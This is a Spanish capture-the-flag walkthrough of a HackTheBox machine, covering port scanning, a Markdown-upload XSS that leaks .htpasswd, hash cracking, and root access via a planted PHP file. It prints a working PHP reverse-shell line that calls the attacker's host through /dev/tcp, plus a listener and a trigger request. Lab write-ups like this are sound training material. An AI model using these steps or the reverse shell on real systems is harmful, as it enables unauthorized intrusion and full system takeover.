Realizaremos un reconocimiento con Nmap para ver los puertos que están expuestos en la máquina Alert. Este resultado lo almacenaremos en un archivo llamado allPorts.
❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.44 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-21 21:18 CET
Initiating SYN Stealth Scan at 21:18
Scanning 10.10.11.44 [65535 ports]
Discovered open port 22/tcp on 10.10.11.44
Discovered open port 80/tcp on 10.10.11.44
Completed SYN Stealth Scan at 21:18, 22.08s elapsed (65535 total ports)
Nmap scan report for 10.10.11.44
Host is up, received user-set (0.077s latency).
Scanned at 2025-01-21 21:18:21 CET for 22s
Not shown: 65532 closed tcp ports (reset), 1 filtered tcp port (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 22.17 seconds
Raw packets sent: 69477 (3.057MB) | Rcvd: 69475 (2.779MB)
❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.44
[*] Open ports: 22,80
[*] Ports copied to clipboard
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. Verificamos que al parecer se trata de una máquina Ubuntu que dispone de una página de Apachey servicioSSH.
❯ nmap -sCV -p22,80 10.10.11.44 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-21 21:25 CET
Nmap scan report for alert.htb (10.10.11.44)
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-title: Alert - Markdown Viewer
|_Requested resource was index.php?page=alert
|_http-server-header: Apache/2.4.41 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 82.01 ms 10.10.16.1
2 41.41 ms alert.htb (10.10.11.44)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.73 seconds
Transformaremos el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Performing XSS injection to obtain .htpasswd with MarkDown file
En el siguiente artículo nos habla de los archivos .htpasswd. En la enumeración inicial, descubrimos que el sitio web se encontraba en un Apache. En el sitio web de statistics.alert.htb nos requería de credenciales de acceso.
Lo cual nos hace pensar que si lograramos llegar a visualizar el archivo .htpasswd, lograríamos obtener las contraseñas en formato hash.
.htpasswd es un archivo plano o de texto que contiene texto ASCII. Las estructuras de archivo .htpaswd son muy simples, donde cada línea almacena un nombre de usuario y contraseñas relacionadas. El nombre de usuario y la contraseña están delimitados por un signo de dos puntos.
Crearemos un archivo payload.md que contenga el siguiente contenido JavaScript. El objetivo de este script, es realizar un Local File Inclusion para visualizar el contenido .htpasswd de la página web statistics.alert.htb y otorgarnos el resultado en nuestro servidor web que montaremos posteriormente.
El archivo lo subiremos en el visualizador Markdown del sitio web.
Al subir el archivo, nos da la opción de Share Markdown el cual nos porporciona un enlace.
Probaremos de acceder al apartado de Contact Us para validar si enviando este enlace a los administradores del sitio web, algún usuario llegase a ejecutarlo.
Desde nuestro servidor Web, verificaremos que hemos recibido el contenido del archivo .htpasswd.
Descodificaremos el contenido obtenido a través de Cyberchef y logramos tener el archivo en texto plano. Comprobamos que nos aparece el usuario albert y su contraseña en formato hash.
Cracking Hashes
Comprobaremos el tipo de hash del cual se trata, nos muestra que es un hash de Apache MD5. Miraremos en hashcat cual es el modo del tipo de hash y al ejecutar la herramienta logramos crackear el hash y obtener la contraseña en texto plano.
Nos conectaremos mediante el servicio SSH con el usuario albert y verificamos que logramos acceder y visualizar la flag de user.txt.
❯ ssh albert@10.10.11.44
The authenticity of host '10.10.11.44 (10.10.11.44)' can't be established.
ED25519 key fingerprint is SHA256:p09n9xG9WD+h2tXiZ8yi4bbPrvHxCCOpBLSw0o76zOs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.44' (ED25519) to the list of known hosts.
albert@10.10.11.44's password:
...[snip]...
albert@alert:~$ cat user.txt
977a065a6***********************
Privilege Escalation
Reviewing of the processes running on the machine
Revisando los puertos internos que se encuentran en el equipo, verificamos que el puerto 8080 se encuentra abierto, lo cual parece ser que haya un servicio HTTP en dicho puerto.
albert@alert:~$ netstat -ano | grep LISTEN
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp6 0 0 :::80 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::22 :::* LISTEN off (0.00/0/0)
Revisando los procesos que se encuentran en ejecución, visualizamos que el usuario root tiene en ejecución este proceso que se ejecuta en la ruta /opt/website-monitor.
albert@alert:~$ ps aux
...[snip]...
root 1003 0.0 0.6 207012 26488 ? Ss 15:36 0:00 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
Realizaremos SSH Port Forwarding sobre el puerto 8080 hacía nuestro equipo local.
❯ ssh -L 127.0.0.1:8080:127.0.0.1:8080 albert@10.10.11.44
albert@10.10.11.44's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-200-generic x86_64)
Last login: Tue Jan 21 17:24:20 2025 from 10.10.16.5
albert@alert:~$
Accederemos desde nuestro navegador al puerto 8080 y comprobamos que se trata de la siguiente página web que no nos proporciona ningún tipo de información relevante.
Abusing Group Permissions to Create a PHP File on a Website and Gain Access as Root User
Accediendo a la ruta que encontramos que el usuario root tenía en ejecución esta página web, nos encontramos en el directorio config disponemos de permisos para leer y ejecutar archivos en esta ruta, dado que el usuario actual, dispone del grupo management.
albert@alert:/opt/website-monitor/config$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
albert@alert:/opt/website-monitor/config$ ls -l
total 4
-rwxrwxr-x 1 root management 49 Nov 5 14:31 configuration.php
Crearemos en este directorio que disponemos de acceso, un archivo PHP que nos establezca una Reverse Shell hacía nuestro equipo. Verificaremos que hemos logrado crear el archivo gzzcoo.php en la ruta /opt/website-monitor/config.
albert@alert:/opt/website-monitor/config$ cat gzzcoo.php
<?php system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.5/443 0>&1'"); ?>
albert@alert:/opt/website-monitor/config$ ls -l
total 8
-rwxrwxr-x 1 root management 49 Jan 21 17:33 configuration.php
-rwxrwxr-x 1 albert management 75 Jan 21 17:32 gzzcoo.php
Desde nuestra terminal de atacante, nos pondremos en escucha por el puerto especificado en el payload creado.
❯ nc -nlvp 443
listening on [any] 443 ...
Realizaremos una petición por GET a través de la herramienta cURL sobre 127.0.0.1:8080/config/gzzcoo.php
❯ curl -s -X GET '127.0.0.1:8080/config/gzzcoo.php'
Dado que el servicio se ejecuta con los permisos del usuario root, al haber subido ese archivo PHP en la ruta donde teníamos acceso de escritura, su ejecución sería realizada por el mismo usuario root. Esto nos permitió que el usuario root ejecutara el payload de la Reverse Shell que subimos, dándonos así control total del sistema.
Comprobamos que podemos visualizar la flag de root.txt.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.44] 50392
bash: cannot set terminal process group (1003): Inappropriate ioctl for device
bash: no job control in this shell
root@alert:/opt/website-monitor/config$ cat /root/root.txt
2352161ea***********************
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis
Añadiremos la siguiente entrada en nuestro archivo /etc/hosts, debido a que en el resultado de Nmap, nos aparecía que el sitio web nos redirigía a
Accedemos al sitio web en el cual parece ser un visualizado de archivos .MD (Markdown). Vemos que nos permite subir archivos en el sitio web.
Probaremos de acceder a y vemos que nos requiere de credenciales de acceso que no disponemos.